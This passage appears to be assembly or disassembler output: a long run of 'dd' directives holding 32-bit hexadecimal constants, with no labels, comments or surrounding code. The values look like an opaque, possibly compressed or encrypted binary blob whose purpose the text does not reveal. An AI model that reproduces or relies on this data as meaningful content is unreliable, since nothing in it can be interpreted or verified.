		dd 0D8CA1243h, 447F0D1h, 0BA326486h, 9CAE033Bh,	8AF2D729h
		dd 8443D5E3h, 0D080C3D2h, 0E87B02C0h, 0B2D64400h, 0D1ABD3Dh
		dd 2E8B03A9h, 20EB4E19h, 6A729DF0h, 0D33E6890h,	503D0E0Eh
		dd 0D7B2219Ah, 0A77030FEh, 0CDB30E83h, 6420FFDEh, 76809363h
		dd 0F8F57900h, 924D0608h, 0D74B0086h, 52DCDB0Eh, 89FC3FB6h
		dd 3F05550h, 90B8E524h,	403DC60Fh, 0F149F29Dh, 0CEEC0h
		dd 0FFA2BA8Ch, 0C857E840h, 23F4BF00h, 82EE99D3h, 41090AD4h
		dd 0AC0EF6h, 0D58E0F7Fh, 0EF505C98h, 374C4D85h,	0A6A41ED4h
		dd 17BFC040h, 247CE59Ch, 70CC74h, 92961AB9h, 1B1754BCh
		dd 0E00062FDh, 0DE751C42h, 38701433h, 0E030E23Fh, 0BF616230h
		dd 0F4C53224h, 3AC32980h, 1EE3144Bh, 1C720AEAh,	79807B82h
		dd 9EC81A59h, 830413B6h, 0E442491Dh, 7F95B880h,	3889E834h
		dd 0C000433Ah, 920C59C6h, 3503126Bh, 267E28E4h,	4CC1847Dh
		dd 0E8621EEDh, 0D8E31C00h, 288D7BDFh, 17FB1B00h, 0B40BC6A5h
		dd 7FCA0050h, 0F338EEBAh, 0E90006B2h, 0A473483Fh, 3EF5F2Ah
		dd 0CC98D1CAh, 0AAB0EBAFh, 0FA05360Fh, 49B566ECh, 0C4D1B080h
		dd 0A4D60D03h, 0E494BE39h, 0A4A0420Fh, 26187774h, 0DCB01B5Eh
		dd 8D5600B5h, 2803BB95h, 0D0006F1Fh, 0A1BD4A50h, 604B7430h
		dd 60E2F02Dh, 0A3E09E87h, 0B845B907h, 0F6D05E34h, 0A1DD46h
		dd 6F4019CCh, 0EEAA58A8h, 80234B38h, 0EF17ED71h, 1E8D577h
		dd 2070D70Eh, 74AF7A88h, 4400D944h, 0A856A2CEh,	0DB1CA7h
		dd 6E9B2634h, 0F61654E3h, 0B22D6703h, 0B1C586h,	492E0714h
		dd 1385CCEEh, 9018038h,	0DD4A037Fh, 44339702h, 3AB6F440h
		dd 0BD572E03h, 0CC2FA8h, 751DD24Ch, 0B9E0C20Ah,	5430980Eh
		dd 8A96C7A3h, 0F09Bh, 0BCF95910h, 0AD209B41h, 310057F4h
		dd 7BE7D4BEh, 1250018Eh, 0E10A0Dh, 0E46C8B10h, 3307383Fh
		dd 0E9118198h, 7FE240CFh, 0C0CB8994h, 2C183EFEh, 0CA007356h
		dd 19B6FA22h, 323D6C9h,	3C93EE9Bh, 78C13F3Eh, 0EC1C20E3h
		dd 5F67BA03h, 0B8B1CF66h, 4650CACh, 0D5220837h,	775C825Bh
		dd 0A84EF4C8h, 0F861EC00h, 628063E7h, 841F0908h, 6A800FC6h
		dd 0FCF74142h, 806B183Bh, 0F8272EEAh, 79CB388Eh, 570E0060h
		dd 0FC5E8463h, 400AE0Ch, 11CC8998h, 72EA91h, 93EDACE3h
		dd 1ABA5B0Bh, 0D43C6A00h
		dd 0F0201626h, 7EF10064h, 0AC0F961Bh, 4E00EA7Bh, 0F9B69F97h
		dd 26306385h, 58DE8Eh, 0B108521Dh, 50015B0h, 91385AF5h
		dd 3B2C3784h, 9F80D4FAh, 0FEA9068Fh, 16008C85h,	83D5D75Eh
		dd 1DF96437h, 7929CD12h, 46246280h, 2157757Bh, 4A5E8000h
		dd 0E5C70F81h, 47AF07CBh, 73E9D6FDh, 0B801973Eh, 0A6CE16BEh
		dd 0F840C59Fh, 875126h,	27AFD0E1h, 0B3632067h, 65A13F00h
		dd 0EC8F9572h, 1514007Ah, 0B624CB9h, 0C7016C1Ch, 208870D6h
		dd 0EC245032h, 6EA40039h, 0CB09B844h, 94003DC3h, 40D03C46h
		dd 9054B4F4h, 0E85300B4h, 0B642C55Ah, 0AA004EA4h, 7325EC4Ch
		dd 0A0A6E0h, 0E9F562DFh, 51D33072h, 56026090h, 0BD59CF5Ah
		dd 0A864A7h, 17489A36h,	92F3BF60h, 0B8D7C42Eh, 0B7D870h
		dd 5EC03341h, 0B3D6A0F3h, 35F8ED1Dh, 7AAC3281h,	34E877D3h
		dd 2AFF0044h, 28C5C46Dh, 0B8002559h, 5C690D21h,	0F8A81F9h
		dd 55F09E86h, 61DB801Ch, 9BEC16F2h, 98388D77h, 0D79A0093h
		dd 2ABDE9F9h, 6E3B0038h, 9016BACBh, 565C0A94h, 0DDA00048h
		dd 34DC0FB1h, 3FEDB828h, 9080F1F3h, 0B45D580Eh,	0F200DE1Eh
		dd 3D7A9A46h, 0F8B3CB7Eh, 61792451h, 0F4010378h, 0BAD9B2C5h
		dd 0F680E7E5h, 4300BE2Fh, 4BB95E24h, 7A47F0ABh,	973900F7h
		dd 268A71A1h, 165CE111h, 66120078h, 0FA8333F1h,	7C709D7Eh
		dd 9C4ABC0Ah, 202B0ECh,	0C0B3AE05h, 0C0D290Ch, 0C3D50646h
		dd 4501AD11h, 0DBEA2739h, 9C7194BFh, 60F211F0h,	60E6A168h
		dd 58FC6DB6h, 0AC009BE8h, 78BEA8D4h, 13273Ch, 0D2CAD6A4h
		dd 4DF3B5Dh, 1539AF00h,	562F45C5h, 9FB951D4h, 0B2B1B500h
		dd 497D00B6h, 2ADEA296h, 970386AAh, 10061665h, 3D39024Bh
		dd 0F3DC2627h, 694648A2h, 1B58010h, 0B6590E6Dh,	40A8DC6Ch
		dd 6A4A8914h, 237B9707h, 0B5C72A5Bh, 10173F50h,	0CEA900C5h
		dd 55AF66DFh, 3300FD03h, 65449041h, 7A538C3h, 48BDC0C9h
		dd 9E05C060h, 0A7007606h, 1D9BE879h, 774439Ch, 960B5468h
		dd 0D42640D6h, 520B715Bh, 8092B8ECh, 2F51434Eh,	6C57382Ah
		dd 54647680h, 5937DED5h, 85C7A300h, 0A979347Dh,	0C472ADh
		dd 0A4506626h, 88475EBh, 2B018096h, 9235E1BAh, 490D994h
		dd 0DFACAAh, 0C237C94h,	0F38D9970h, 97F6E00h, 1F48A8B2h
		dd 49B300B1h, 7C6A0E3Eh, 0BD78F31Eh, 7BA205Ch, 852D23B4h
		dd 0E10E21C0h, 7050295h, 224D3D84h, 0FD9040FFh,	9974A6h
		dd 3A5D7309h, 3F7F7A0Ah, 7C92061Fh, 0AE010C00h,	0F0A72452h
		dd 203B83Bh, 93261EB9h,	6495AD88h, 0AF808584h, 0CA08E880h
		dd 937700A5h, 78556AEEh, 0D124B503h, 8501D4D3h,	0B20FB879h
		dd 1EB1FE61h, 1154FE28h, 7512E9D9h, 25FE0411h, 0E0280432h
		dd 438148E6h, 7921A1DEh, 318C2426h, 11B93D29h, 0DA12BB22h
		dd 0FFE93C82h, 140F4925h, 847191C0h, 45896773h,	0B8447A08h
		dd 7E4284E2h, 13081121h, 509694B7h, 21015211h, 0B005080Dh
		dd 11148A94h, 0D921DB9Fh, 91AE2908h, 9509039Eh,	0C0E58553h
		dd 0BAB110h, 5FEFBE32h,	2B63A1A6h, 9B499000h, 47C2F670h
		dd 6CCC0412h, 0C04ED8D5h, 0BA7781FBh, 0BE4B5E07h, 3E210C54h
		dd 9F4DDCBh, 7BE207h, 4F9FA3A9h, 1816BCF6h, 5383EA03h
		dd 0B0B89A94h, 0BE09B5h, 42D47005h, 6D305549h, 7FF0E000h
		dd 2A477C83h, 0A4CB3FD3h, 317200F3h, 22F95582h,	56059153h
		dd 0B9A39524h, 75D30C90h, 86110042h, 919E89F2h,	0ACE6E9BEh
		dd 0A40139h, 6AB666B0h,	4CDA0h,	0B8EA0C45h, 6CA692FCh
		dd 701D4E8h, 91B5EE3Ah,	66E0025Fh, 0BE050336h, 1A7D3064h
		dd 12977008h, 80CF205Dh, 0B5F570h, 2068279h, 0F8394BC9h
		dd 5A70B400h, 26ABF7ECh, 0F51D01BDh, 7E1EA8C6h,	1888E44Fh
		dd 6A31D200h, 0DF8D441Bh, 0F3933067h, 0ED955E30h, 63802B00h
		dd 0E41E674h, 3BAD08B5h, 16006B22h, 63EF406Dh, 47C81F89h
		dd 9FE9CE01h, 85000F0Eh, 6606B97Eh, 0F3F61B00h,	0C29D7ABEh
		dd 59E80014h, 13454EB4h, 0A900D963h, 0C072EB36h, 4812A5h
		dd 67DDA4B2h, 778B4FACh, 0BB4AFF00h, 45683906h,	0E4480061h
		dd 0DFAC891Ch, 14005A85h, 0F77864Bh, 116DD35h, 0BDD0B94Dh
		dd 4064B655h, 9727D894h, 151C4800h, 0A14BEFF0h,	0C19B1E22h
		dd 580C0F8h, 9129B60Bh,	25B53Ah, 7EB22DB3h, 0D4F7EBh, 1DA060B0h
		dd 9B6A9AF4h, 0EA6E0B17h, 0F6999D00h, 2D7E310h,	0E329527h
		dd 0C4E0E460h, 7904C87Ah, 8F84C231h, 0F1593480h, 8CAD1F7Ch
		dd 2DD4C01Ah, 3667072Fh, 6D32B400h, 4E7F010Ah, 0CCD83FFFh
		dd 0C2BFB781h, 30DA4C99h, 8D004805h, 8424713Bh,	4DF00519h
		dd 4D02684Bh, 0AA9C2DEAh, 72805440h, 7F1E3A00h,	73A1FB55h
		dd 289217h, 440BFFA6h, 0DA673AAFh, 0D1038303h, 0AB5B957Ch
		dd 0D04CC10Fh, 94F36ECh, 0CBDD32E9h, 67094800h,	0D600E557h
		dd 1250BF1Bh, 4B7ED7h, 9731CAB2h, 0AEA284DDh, 7166E200h
		dd 6FAF9EA7h, 38F67Fh, 2D0EE661h, 31DB90D2h, 519C9503h
		dd 92123C3Ah, 89C0DF71h, 8C071626h, 0AE5CD904h,	322BF2A0h
		dd 0DDB60030h, 0A77ADB56h, 434DC399h, 0DADF0700h, 6EE0B14Ch
		dd 4495D6h, 7D3A9637h, 0B5242BDEh, 0CE02A60Eh, 0D2053E1Fh
		dd 0FB3E9Fh, 0BF819AA4h, 0CB00050Ah, 0AE90FB6Ah, 0F512A25h
		dd 78416C97h, 0A956DA80h, 0BB29D418h, 1A80A490h, 13B02CB4h
		dd 64D800E7h, 99C9DA65h, 0CD1DC81Bh, 4240759Eh,	376334BFh
		dd 3E87CB2h, 2C4987E3h,	88D04581h, 0EB773A08h, 0A6F0B775h
		dd 12E45B01h, 0E8DEF91Fh, 17F0E041h, 43409C0h, 28051E2Eh
		dd 4088B187h, 0DAC184B9h, 8B38021Dh, 88910DC0h,	0A1581Ah
		dd 739B75ACh, 341255Eh,	5D509800h, 9D923918h, 283201CDh
		dd 0C235157Bh, 3F9140CFh, 0D10068B7h, 3D54345h,	4FED17h
		dd 8AD25F4Bh, 24942067h, 30DBB800h, 0D4801286h,	1FE473D5h
		dd 40C53F78h, 13068C8Eh, 551D1DB3h, 598040C0h, 534185AEh
		dd 0AB501E21h, 0CD5D401Ah, 0D3F6724Ah, 0BD528700h, 0F4A1849Eh
		dd 403101AFh, 917AB055h, 6B9DC401h, 5DBCCD00h, 1AB2B928h
		dd 77F700D6h, 232B79EDh, 0A2026178h, 3F9AFF48h,	4D3F406Ah
		dd 67FD1h, 0D28F999Ch, 6CB64356h, 364F940Bh, 210800E2h
		dd 75CF1Fh, 5CB12B27h, 0F9EF709Ch, 0FAABAA07h, 58F0B60Ah
		dd 1337E4Eh, 0BCEA415Fh, 43AD26BBh, 85A030ACh, 7D00C3B3h
		dd 0D295D0F0h, 44143h, 0FA992848h, 0A5AFE214h, 7494373Ch
		dd 0F68F5D00h, 0C5134263h, 575C00E1h, 82846FA7h, 61F61FFDh
		dd 37E81154h, 0E4108300h, 283FA548h, 0C9720742h, 228C6078h
		dd 1C400170h, 60F4862h,	200234FEh, 5E40CDD1h, 0D25100ABh
		dd 8C729063h, 5D7584F9h, 60172B00h, 98B308EEh, 7EE6E894h
		dd 0FFC000D2h, 193C5FB8h, 0C23AF39Bh, 21FF9C7h,	97C113E2h
		dd 0AAD00109h, 4883C8E4h, 0CE002A47h, 0B6C1A220h, 35023AE3h
		dd 1D3DAF89h, 52D840DBh, 38F358DAh, 7F929E3Eh, 0AE07AEE2h
		dd 34B0EA8Bh, 3BDFC436h, 16807954h, 0BF5F5DCDh,	9500438Dh
		dd 4DEC1C86h, 294DB6Eh,	9992C737h, 0D8404CB7h, 8900A28Bh
		dd 7C1615BFh, 1FCEB9ECh, 4971D828h, 8080C429h, 0F6E88169h
		dd 3496DB00h, 0A2DC19ACh, 31640562h, 0C7CE1CD7h, 0F873E006h
		dd 9000BCBBh, 0D008FD67h, 15B2B0Fh, 85A3E501h, 30F59F6Eh
		dd 0B6011F8Eh, 4F13365Dh, 30804Ah, 6E893CBDh, 0E4062Ch
		dd 0E4F705D0h
		dd 17003B83h, 0A3826D5h, 17B47361h, 47F58ADBh, 1020EF2Ch
		dd 1CC56884h, 61E00800h, 27F2DD95h, 8BAC0049h, 0DFA7379Dh
		dd 440023AEh, 9864C351h, 0FACFA3h, 39E2137Bh, 34258072h
		dd 4A7CCD00h, 0D7ED0791h, 0F19800ACh, 0AA6855A8h, 0A72CB52Bh
		dd 5B00CEA2h, 1BC88045h, 0A3B10E3Eh, 42E01292h,	9BFD7A6h
		dd 0E31C437Ch, 0EDC063E8h, 0BD4B2E38h, 0CA8C1C3Bh, 92DB00D8h
		dd 78030B8Dh, 4E33C0FCh, 0AF666053h, 4090AD90h,	20F0070h
		dd 95507D84h, 7900C5B3h, 0C0FFE852h, 45362F6h, 1CF9DF2Fh
		dd 0E99DC09Dh, 5071C6C9h, 3CFA4E2Eh, 23B7500h, 16C111C2h
		dd 1F6041D6h, 5B2AC1A8h, 708A1A19h, 800A6A0h, 0A2ABF69Ah
		dd 572798h, 0CBC8CD6Fh,	1B6DBC2Eh, 0F529C8A1h, 0AD3080C4h
		dd 2B77B114h, 12D02671h, 5C2F004Ch, 93FA7879h, 0C9FEAA00h
		dd 3C41778Fh, 0EFEE0C95h, 0BCD9E333h, 3D82CC00h, 23AC1920h
		dd 0C845605Fh, 7454DCA5h, 0A21EC900h, 51B9751Dh, 9E9025h
		dd 0F44C3B7Eh, 7C44ACC0h, 6EFEE900h, 821D6676h,	0D85E63F6h
		dd 0E4E9DCC2h, 3AF17AC8h, 7103E4h, 0F80FABF1h, 7CAFA327h
		dd 70A6CD5Ch, 0D7E2440Fh, 72C2E03Dh, 4975E7AEh,	310778C1h
		dd 505FA1D9h, 0A0D4AC30h, 0EA257202h, 0C04FCBCAh, 0E4C6FE33h
		dd 338E00DAh, 6ACFF974h, 0A53B4081h, 6C7F00E2h,	9D75D1Ah
		dd 0C23812A2h, 7B784089h, 0E779F206h, 303F5C00h, 8B0D4CC8h
		dd 143700B1h, 156199F1h, 0F40B9FEDh, 835823h, 0E531639Ch
		dd 25360081h, 0ECE9F5C1h, 1D0A2876h, 95405C6Ch,	0E89D83Fh
		dd 2B0EFD8Bh, 365CA1B6h, 0F457161Eh, 0DEEF3710h, 0FDE600A0h
		dd 1DC1896Ch, 7B009652h, 43B9AF0Dh, 3205F30h, 924B6380h
		dd 4800C629h, 0AB15BEC0h, 9850B0F9h, 0F0AA58E4h, 963BAC0Fh
		dd 0BF1A1FE0h, 0EE093EDCh, 80A3828Bh, 595CA4E8h, 5BF700D7h
		dd 7FFF92EDh, 443DA6D9h, 6903FF0Dh, 336D7772h, 40FEFADFh
		dd 7B8BCE06h, 19DB0470h, 809CA13Bh, 0D658ADDCh,	0A83F0201h
		dd 9B3C4DC7h, 0A0CE1880h, 60D3661Dh, 0C960E3E2h, 0D9336331h
		dd 878C0026h, 36784627h, 8B03A4D5h, 384C410Fh, 0B840BBEEh
		dd 0EE1F0214h, 883212C0h, 6DACF5h, 0DBFE81Ch, 170A2E0Ch
		dd 82FF101Bh, 30404CF8h, 3F0E619Bh, 0C07284B9h,	0F55895D5h
		dd 44CD0543h, 269394h, 8A8B1ADAh, 0C008F10h, 0EF5EECE0h
		dd 0F9E370A2h, 3D71C130h, 6700E17Bh, 0B3ADD636h, 0F1036F63h
		dd 83145F22h, 8E44A0CCh, 613F895h, 58D70BB2h, 0E41E30D9h
		dd 83804D97h, 8BF0F8EAh, 32F6E9h, 9924C6AAh, 56A88472h
		dd 76E16B3Ch, 0FB50947Dh, 3D0037C0h, 2C5B88F7h,	986CF1CCh
		dd 99950086h, 0BDE05394h, 0A9070743h, 9E74AFFEh, 0CB1345D3h
		dd 0D50EB173h, 3E4C020h, 67A7995Eh, 0BDD86C3Dh,	0C100D655h
		dd 0CFD02E4Dh, 7C0D309Ch, 0A0F3006Ah, 8EFA3FFBh, 74008D68h
		dd 192EAED9h, 0F0453F4h, 0FF5C22C9h, 16F03780h,	8803DD8Bh
		dd 2D587265h, 3FFDE0A7h, 107A000Ah, 3DC859BCh, 7000F15Eh
		dd 8C7C27FAh, 57FFFDh, 0BE7EA4F6h, 0D85C889Ah, 39E88600h
		dd 6878694Ah, 731A007Ch, 0AB271E8Ah, 0DE09EE87h, 6196FAD6h
		dd 0A440AD58h, 430F9Eh,	0F1BE8EC3h, 0CCCAB002h,	757DED48h
		dd 0A902EEE8h, 5A013691h, 0EAB0491Ah, 0EC004C2Ch, 0FD1CF1C0h
		dd 7B042B9Fh, 8867C135h, 0B36D0090h, 0B2FF09F3h, 78CF59h
		dd 1A7AF127h, 108F9Ch, 0C0199C78h, 0E7EE00D7h, 7928CBBFh
		dd 0F97AA5C1h, 0B507B6B8h, 3042F60Ah, 14FE9F40h, 0DE2000F2h
		dd 8C9CA6E3h, 2B5BD602h, 5880281Eh, 0E0109014h,	121F126Ch
		dd 8560353Ah, 7760000Dh, 80BFCEA3h, 2AFF0500h, 0F85793A0h
		dd 0D9F202h, 4213FBD4h,	86D12B09h, 477A490h, 40C99100h
		dd 0EF3EA314h, 1323E42Eh, 808DDC95h, 41E6A59Ch,	0BCAC6100h
		dd 36CADB6Bh, 8FC31EA2h, 0FB92C0E1h, 4F40B494h,	8880BA30h
		dd 0E5D414h, 0F75288B2h, 2B3666D3h, 0D7656A03h,	0A8D5248Eh
		dd 0EEAA060h, 0C4460B3Ch, 0CA1687C0h, 53EAE4F4h, 0B3334F00h
		dd 1F9671E5h, 0C4ED0010h, 2799498Dh, 0F00D7DEh,	0F40852F6h
		dd 0CE9ABCh, 809328CFh,	3EBF09ECh, 8099CA3Fh, 1E2AD094h
		dd 0A8E88F05h, 4E4B9F4h, 3D5F95C2h, 11A8C106h, 0FBB470D2h
		dd 81A40501h, 192609DFh, 0C08496F4h, 217ED920h,	9800B842h
		dd 0E76C2FC8h, 3A0BE935h, 7680DEC4h, 0B0A3263Ch, 0EA0BCDA8h
		dd 3867C2Dh, 0C855A058h, 0C4449CCh, 0BF14B668h,	0E90D6189h
		dd 2888A809h, 3A3E3083h, 210EF084h, 0CFA2D808h,	0C81800C9h
		dd 58A7A9CAh, 0B7000085h, 27A3DB14h, 5A002C22h,	330D5BB6h
		dd 0F0F00777h, 38B7E6AAh, 0FF92273Ah, 0E88801EBh, 60EE79ACh
		dd 651E2237h, 0F9C0C963h, 957BE73h, 709D162Dh, 0BFD00B4h
		dd 7D6C2544h, 0AF33D900h, 0C327CDDEh, 1F190BF5h, 2480175Ch
		dd 0DFD29660h, 70B04600h, 0DA39FA3Eh, 0B8E009Ch, 73457A98h
		dd 1009181h, 4D477E21h,	1B67ADh, 4AB6B00Ch, 40D01F5Dh
		dd 18AB391Eh, 384089D2h, 8271E46Bh, 4909010Eh, 0BD04EC1Bh
		dd 0A259FCB8h, 48017270h, 0FDE48511h, 0AF2082E7h, 326416B0h
		dd 0B32483D5h, 0A984E880h, 0FD18ED03h, 80647A08h, 0A2F82Ch
		dd 0DC976825h, 9D8471BFh, 36693A00h, 0AD881692h, 0B87F0BB5h
		dd 1423F6B3h, 607BE4C5h, 249DDB0Ah, 4400FCFDh, 0FB3D9021h
		dd 28D600A1h, 0F5426A9Ah, 0E8002AC3h, 0B3FE03B1h, 25E750Eh
		dd 91980814h, 0B8D8A79Fh, 0D9888C54h, 71E2B0C1h, 4208A5Fh
		dd 4B9C002Bh, 3A94B833h, 930CA370h, 21646BD8h, 0E88D0FD7h
		dd 6240602Bh, 0DB669F73h, 517F7E00h, 4357FB8Ah,	286D3B7Dh
		dd 0D9C7A500h, 7405D3Fh, 53FA2B00h, 6BEF4E9Dh, 2C9A60h
		dd 112FCD06h, 3ED6C3BEh, 0ACA08650h, 0E3455B1Ch, 90C14741h
		dd 81804F54h, 18D3988Bh, 25029BB9h, 31608C5Fh, 5CE02015h
		dd 2E01BD16h, 61B16999h, 6420067Eh, 4BDE0BEAh, 6D80B33Fh
		dd 0F151BC55h, 6C008FFCh, 0B8917ECAh, 0D24958h,	251908ABh
		dd 214541A2h, 9502A4EEh, 163496E7h, 49C46087h, 93AD009Eh
		dd 0BCF3A682h, 0A200A96Ch, 991253A5h, 7AD35D18h, 66F00E6h
		dd 726B5C38h, 95267326h, 0F10121E2h, 7BFED318h,	1B3A1C0h
		dd 0DE496E74h, 0C8ADAB0Ah, 0FB004503h, 47B86B09h, 0E66449Eh
		dd 9B247CDFh, 829FC8C0h, 0D8011749h, 7F62E29Dh,	60202D4Eh
		dd 0DE363C5Fh, 4B737801h, 0D0FF0781h, 6C3090D2h, 226F6A10h
		dd 6A851DD7h, 0D475C069h, 37C9749h, 3A1739h, 279538E9h
		dd 1CA7D7h, 0FD5DE1CBh,	0ACB775FEh, 0ECA55C0Eh,	0C96D21FBh
		dd 0B9F0B511h, 0A02B00FCh, 0A75DCB3Ah, 400F665h, 4DB1CCDAh
		dd 600F43h, 64B65BF0h, 246507D0h, 41A86D00h, 0BD61CCD8h
		dd 5B580068h, 0EF2FDE1Fh, 0E51C4D2Ah, 410F555Dh, 267700DFh
		dd 0C02BB9h, 4A44E76Bh,	12ECA0F6h, 36F9F409h, 0A06B88C2h
		dd 8661BC00h, 476304h, 0D5FF9BA0h, 0FB24FD79h, 520112F0h
		dd 0B92FB633h, 9080918Ah, 66CCAA8Eh, 0FB001F20h, 2FFAC1BFh
		dd 5FD2D3h, 62657EABh, 0FC7FB237h, 54CC5A01h, 0FFB9106h
		dd 0EC77089h, 3CE0DA89h, 0E7277A1Eh, 0BB7052h, 699D0837h
		dd 347DDA5Eh, 44D68B50h, 0A9CF7216h, 0BC1D6020h, 5FD7B0Dh
		dd 0B9B3FFF5h, 0B650E0BBh, 45F4AF00h, 0B8868B9Fh, 1D72E4h
		dd 77A063D6h, 0C679D474h, 760016EAh, 0A47F2E27h, 4E06E09h
		dd 524CFC21h, 0C548D3C3h
		dd 20D8F0C1h, 3AFA4ED4h, 0D6067D0Ch, 7D016850h,	4347CB5h
		dd 0E38D8ADAh, 2A08C864h, 32489900h, 7672062Eh,	0FCFA5842h
		dd 9560B80Ch, 0AF0154E8h, 12A7E9B1h, 43D47D9Fh,	16500022h
		dd 859323B7h, 6213BC37h, 0AB0046C1h, 74FA9DEAh,	6D3300BBh
		dd 0E4C6F254h, 7F0702ACh, 45130D48h, 0C11AF5C1h, 1EEC93F0h
		dd 80B6203Bh, 5C7CBF71h, 7FA8BF3h, 2B786101h, 0F0FA868Dh
		dd 0E6C1080h, 1530A655h, 0FDD31F00h, 44B9BDBFh,	0C8B11C9Fh
		dd 7D754053h, 439CBEAEh, 3BEEF93Fh, 5EAC8022h, 81E4A279h
		dd 19970708h, 0DE207F0Ah, 0EDB98858h, 8D5F2407h, 6810D1A8h
		dd 1271CC4h, 213CFB36h,	0D078B017h, 7E00A152h, 0E8702881h
		dd 343087h, 0F2DC3D15h,	0F7E2970Ah, 360F3E7Fh, 41322FFCh
		dd 0F9317DA5h, 656D25C4h, 0C08EF9F6h, 1B0B9A18h, 0F2010C0h
		dd 2B651BDh, 65965A32h,	0AEC06A99h, 8A00C4A9h, 0C15B8566h
		dd 309BC3h, 29FADBCDh, 0ADCB6AB9h, 0D988678h, 0C14BA09h
		dd 0AF0F83D4h, 0F33B99CCh, 0E641C4h, 0C1549E90h, 850545F7h
		dd 0E5F66474h, 0E90FE003h, 0A76B0BF3h, 0B2C96A70h, 2F811855h
		dd 58C0B839h, 47A0A1Ch,	33CE6447h, 680B8590h, 60130989h
		dd 240039E2h, 49EFA379h, 14809A00h, 48D95310h, 11880EC1h
		dd 6A208291h, 0E9D6BB1Dh, 2904C200h, 680374D7h,	875E00FAh
		dd 4D8893EBh, 60071D24h, 0CCC72897h, 417419F0h,	40D6092Eh
		dd 4583209Fh, 0E4F8B5A5h, 892EE8C0h, 3920FDh, 19F02D4Fh
		dd 24955Bh, 50F2EDA5h, 6EAAD7C7h, 28BA6700h, 34F3B959h
		dd 696D03C9h, 0DD5CFA0Ah, 86DABB90h, 0ECF8167Bh, 0CD3D0301h
		dd 5967BB3h, 1864ECh, 0CF8B4519h, 2D2212ACh, 0C820200h
		dd 325B57B5h, 44EC0068h, 27F04350h, 3900EBF5h, 1ED15FACh
		dd 465EA7h, 6BF9346Ch, 0BEA5CD5Bh, 0FD1BC0F9h, 7455E20Fh
		dd 9E93A052h, 12EA448Ch, 0B941D0h, 0C63C63F6h, 75009A89h
		dd 0ADF36FFEh, 3C2CE556h, 2180BE96h, 0B0DD0B16h, 353F2B6Bh
		dd 56F100E8h, 8CFD26E0h, 8A3B00A9h, 74DEC599h, 6D0006F6h
		dd 76A8FF5Ch, 483A124Ch, 70003866h, 0C09EC7DDh,	0E90015D7h
		dd 7AA92B1Bh, 0A45BD5h,	0B71D2FB0h, 0D605DB1h, 2B0021E4h
		dd 50AAFDCEh, 613DBFh, 0B0C654E4h, 8E8F96A8h, 0A5909500h
		dd 0D43A33F8h, 4277006Fh, 210B97Dh, 8C179B59h, 0CFF836F6h
		dd 85324D00h, 0E424AF14h, 0C251A00Fh, 0F6428494h, 8F0880AAh
		dd 4400B8AAh, 651ED79Ah, 20F28Dh, 41382630h, 19352FC8h
		dd 62CF9E00h, 0B644AACBh, 0FEF8005Fh, 7DA03411h, 42FA50D5h
		dd 4FA8C30Fh, 82DEA0E8h, 3833ADh, 726A60BEh, 0E197E451h
		dd 0CEEB7000h, 0C641EEAAh, 7B171C4Dh, 0D45EC0FFh, 54589C86h
		dd 0A136DC00h, 0CAD6AA27h, 2C0B4C3Ch, 0A9D90C07h, 3A4BF0BFh
		dd 0DE24563Bh, 800E44Eh, 3EF94F2Ah, 6FC3001Fh, 5195D240h
		dd 0A4009A88h, 76E34466h, 1BFFB4h, 3F231A4Ah, 9077262Bh
		dd 0C448F600h, 0F5700741h, 0CCD400B5h, 0E11DEBAh, 1E3FC987h
		dd 0E1EB00FBh, 0E6D9EE67h, 78A70552h, 809BA9F1h, 284B26E9h
		dd 0AE77881Dh, 8C933B4Ah, 0AB64F900h, 2847D5Eh,	0EE87E53Eh
		dd 0F06020D4h, 4800F360h, 3FCD96E4h, 904EDA5Fh,	84AE001Ch
		dd 0EB338979h, 8600583Dh, 7A55105Eh, 80F562h, 2D54A8BAh
		dd 5695510Ch, 0C7F88F78h, 0DA064C00h, 0D217CCCFh, 281100F8h
		dd 644D1339h, 0BBEC4FF9h, 778C8400h, 0A8E048F0h, 1A330049h
		dd 0C399E122h, 3000031Fh, 6257E2FEh, 128F7C54h,	5368B89h
		dd 82941498h, 0E040D579h, 0CF2E586Ch, 8600E21Dh, 1712C2B0h
		dd 7F330054h, 0F9F8EB02h, 0CB003011h, 3801C37h,	0B2E4EF3h
		dd 9E9DF6A3h, 799A4022h, 7D68D540h, 2C5D4A0h, 0A8BCCB50h
		dd 0C1007FE0h, 89D35DC7h, 4C56371Eh, 1801983Ah,	0DCF172E1h
		dd 0A25C4AAh, 852D6800h, 0B7551101h, 91C2023Ah,	384C500Fh
		dd 7DF7D060h, 31289600h, 89A348B1h, 0E50C002Fh,	0A93265C2h
		dd 9898D442h, 5B00DDF6h, 0BEF470A7h, 1FD8AAD3h,	0FB3089h
		dd 358E66Ch, 0FD30CD14h, 1FF0E0FAh, 0B61D02C1h,	0C7685AC2h
		dd 34BB9B60h, 55A9EC0Ah, 0A601DC5Fh, 2A9A838Dh,	694FFA81h
		dd 0DC44CC70h, 7324D09Bh, 0A50078C6h, 0D69EA3ADh, 0BAF60A0Fh
		dd 99CC2Ch, 948E63E9h, 0C3005F15h, 46ABCA26h, 0EE4B0442h
		dd 0D9010017h, 0B5483A44h, 2700CC34h, 0C674E1BEh, 9CE4EE7h
		dd 0A51E7A01h, 49ACD420h, 16007E98h, 54C4E710h,	1B92D3h
		dd 5387799Fh, 9EB92DF9h, 2BAEAD0Fh, 6D1EE0B5h, 0B56FA70h
		dd 0AF4421DBh, 0E7992A80h, 7512C99Ah, 0D400D267h, 0D5F2FF5Bh
		dd 0D35E2EC1h, 62BF8028h, 354E93CEh, 4D786602h,	7BB1030h
		dd 3AD69079h, 0C80105A0h, 84CDD0E4h, 0DD83EC9h,	2B1D00C4h
		dd 32DF69AAh, 5398BC0h,	4C0FFD6Ah, 60582DB3h, 8E4FF387h
		dd 0B2ED0037h, 62EE5438h, 891D1FA7h, 36855CE0h,	0A28025A5h
		dd 3B0FD283h, 3D814AD3h, 0F6A13F6Dh, 8CF3606Ch,	0B3BC055Eh
		dd 6389F43Dh, 0A485E571h, 3C81FF69h, 2ECC7B07h,	428B00BBh
		dd 345CEADEh, 7A006C10h, 0B7856BD3h, 1CC1822Fh,	0C2866F21h
		dd 5345360Ch, 0C480F962h, 41371454h, 92CCA000h,	0D079F5CDh
		dd 243C00BBh, 0D685FF25h, 2D00675Ch, 3EDBE86Eh,	99422Bh
		dd 2877AD84h, 0F2CFD6DCh, 3A1D250Eh, 0D29D04C8h, 139B9800h
		dd 0A25D8384h, 1253FD4h, 90D2738Eh, 0A06B66EDh,	8300C55Ah
		dd 99D9C105h, 0FDE988h,	0C0931E82h, 217F6106h, 17E41100h
